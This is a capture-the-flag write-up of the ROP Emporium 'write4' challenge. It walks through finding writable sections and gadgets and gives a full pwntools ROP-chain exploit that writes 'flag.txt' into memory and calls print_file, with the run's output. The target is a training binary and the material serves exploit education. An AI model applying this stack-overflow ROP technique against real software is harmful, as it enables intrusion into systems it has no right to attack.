4. write4
the forth challenge, this challenge is a little bit different from the others previously.
in this challenge, the binary provided a function to print_file
for us, but there's
no "flag.txt"
string in the binary, so we somehow have to write "flag.txt"
into the binary ourselve.
so how do we write into the memory? there's an instruction that we can use such as mov [reg], reg
that allow us to write a value into the memory.
so where do we write the string into? let's check the binary for sections we can write into and section that when we write into will not cause us any problems if we need some kind of stability in our exploit.
┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ rabin2 -S write4
[Sections]
nth paddr size vaddr vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
---
18 0x00000df0 0x8 0x00600df0 0x8 -rw- .init_array
19 0x00000df8 0x8 0x00600df8 0x8 -rw- .fini_array
20 0x00000e00 0x1f0 0x00600e00 0x1f0 -rw- .dynamic
21 0x00000ff0 0x10 0x00600ff0 0x10 -rw- .got
22 0x00001000 0x28 0x00601000 0x28 -rw- .got.plt
23 0x00001028 0x10 0x00601028 0x10 -rw- .data
24 0x00001038 0x0 0x00601038 0x8 -rw- .bss ---
so here are sections that we can write into, its size and address. i will choose to write into .data
here since it
doesn't interfere with anything in the binary (maybe???).
let's find gadgets for this exploit. let's look into what's inside the usefulFunction
and usefulGadgets
┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ objdump -M intel --disassemble=usefulFunction -S write4
---
0000000000400617 <usefulFunction>:
400617: 55 push rbp
400618: 48 89 e5 mov rbp,rsp
40061b: bf b4 06 40 00 mov edi,0x4006b4
400620: e8 eb fe ff ff call 400510 <print_file@plt>
400625: 90 nop
400626: 5d pop rbp
400627: c3 ret
---
┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ objdump -M intel --disassemble=usefulGadgets -S write4
---
0000000000400628 <usefulGadgets>:
400628: 4d 89 3e mov QWORD PTR [r14],r15
40062b: c3 ret
40062c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
---
we can see there's and instruction to write r15
in the address of r14
let's find gadgets to get this done.
┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ ROPgadget --binary write4 | grep r14
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
pop r14 ; pop r15 ; ret
and mov qword ptr [r14], r15 ; ret
nice.
let's chain them together now!
from pwn import *
padding = b"x"*40
pop_r14_r15 = 0x400690
mov_r14_r15 = 0x400628
print_file = 0x400510
pop_rdi = 0x400693
data_sec = 0x601028
file_to_print = b"flag.txt"
p = process("./write4")
payload = padding + p64(pop_r14_r15) + p64(data_sec) + file_to_print + p64(mov_r14_r15) + p64(pop_rdi) + p64(data_sec) + p64(print_file)
p.sendline(payload)
print(p.recvall().decode("utf-8"))
result:
┌──(kali㉿kali)-[~/ctf/rop/write4]
└─$ python solve.py
[+] Starting local process './write4': pid 2004
[*] Switching to interactive mode
write4 by ROP Emporium
x86_64
Go ahead and give me the input already!
> Thank you!
ROPE{a_placeholder_32byte_flag!}
nicesu nicesu!!